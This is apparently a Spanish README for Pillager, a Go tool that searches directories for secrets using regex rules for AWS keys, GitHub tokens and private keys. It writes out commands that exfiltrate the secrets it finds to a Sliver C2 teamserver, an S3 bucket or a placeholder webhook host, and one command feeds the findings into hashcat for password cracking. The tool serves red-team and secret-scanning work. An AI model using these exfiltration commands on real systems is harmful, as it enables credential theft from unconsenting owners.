
Saquear sistemas de archivos en busca de información sensible con Go 🔍
Saquea sistemas de archivos en busca de información sensible con Go.
Pillager está diseñado para proporcionar un medio sencillo de aprovechar el sólido modelo de concurrencia de Go para buscar recursivamente en directorios información sensible en archivos. Pillager lo hace apoyándose en los hombros de unos cuantos gigantes. Una vez que Pillager encuentra archivos que coinciden con el patrón especificado, el archivo se escanea utilizando una serie de trabajadores concurrentes que toman cada línea del archivo de la cola de trabajos y buscan coincidencias de patrones sensibles. Los filtros de patrón disponibles se pueden definir en un archivo pillager.toml o se puede usar el conjunto de reglas predeterminado.
Si tienes Go configurado en tu sistema, puedes instalar Pillager con go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Si buscas un binario, consulta las últimas versiones para encontrar el ejecutable que coincida con tu sistema.
Para ver todos los comandos disponibles con pillager
# Para ver instrucciones de toda la aplicación
pillager
# Desde cualquier subcomando
pillager [cmd] --help
Pillager proporciona una interfaz de usuario de terminal construida con bubbletea si deseas escanear secretos de forma interactiva.
Envía secretos descubiertos a destinos remotos: Sliver C2 (almacenes de botín/credenciales), S3/MinIO (almacenamiento en la nube) o Webhooks (puntos finales HTTP personalizados).
# Sliver C2 - Enviar al teamserver con análisis de credenciales
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Subir con cifrado
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST a un endpoint personalizado
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Seguridad: Cifrado AES-256-GCM (--exfil-encrypt), TLS por defecto, metadatos automáticos (nombre de host, marca de tiempo)
Pillager proporciona soporte completo para las reglas de Gitleaks[^2]. Estas se pueden pasar con una sección de reglas1 en tu archivo pillager.toml, o puedes usar el conjunto de reglas predeterminado dejando el indicador de configuración en blanco.
# pillager.toml
# Configuración básica
verbose = false
redact = false
# Reglas para detección de secretos
[[rules]]
description = "Clave de acceso AWS"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "Clave secreta AWS"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "Token de GitHub"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Clave privada"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuración de lista blanca
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager tiene una serie de formatos de salida incorporados disponibles. ¡Elige tu favorito!
pillager hunt .
pillager hunt ./example -f json | jq
La salida JSON está diseñada para funcionar sin problemas con la increíble utilidad jq para un análisis sencillo.
# Usa pillager para generar una wordlist delimitada por nueva línea a partir de los hallazgos
pillager hunt . -f wordlist
# Usa pillager para añadir a una wordlist y luego usa tu modo de ataque hashcat favorito
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secreto: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager te permite usar potentes funciones de go text/template y sprig para personalizar el formato de salida. Aquí tienes algunos ejemplos de plantillas.
{{ range . -}}
Archivo: {{ .File }}
Secreto: {{ .Secret}}
Descripción: {{ quote .Description }}
{{ end -}}
# Resultados
{{ range . -}}
## {{ .File }}
- Ubicación: {{.StartLine}}
{{end}}
Más ejemplos de plantillas se pueden encontrar en el directorio templates.
La documentación de GoDoc está disponible en pkg.go.dev para pillager.
Para involucrarte en el desarrollo de características y correcciones para Pillager, comienza con lo siguiente:
¿Qué es Cobra?
Cobra es una librería que proporciona una interfaz simple para crear potentes interfaces CLI modernas similares a las herramientas git y go. Cobra también es una aplicación que generará el esqueleto de tu aplicación para desarrollar rápidamente una aplicación basada en Cobra.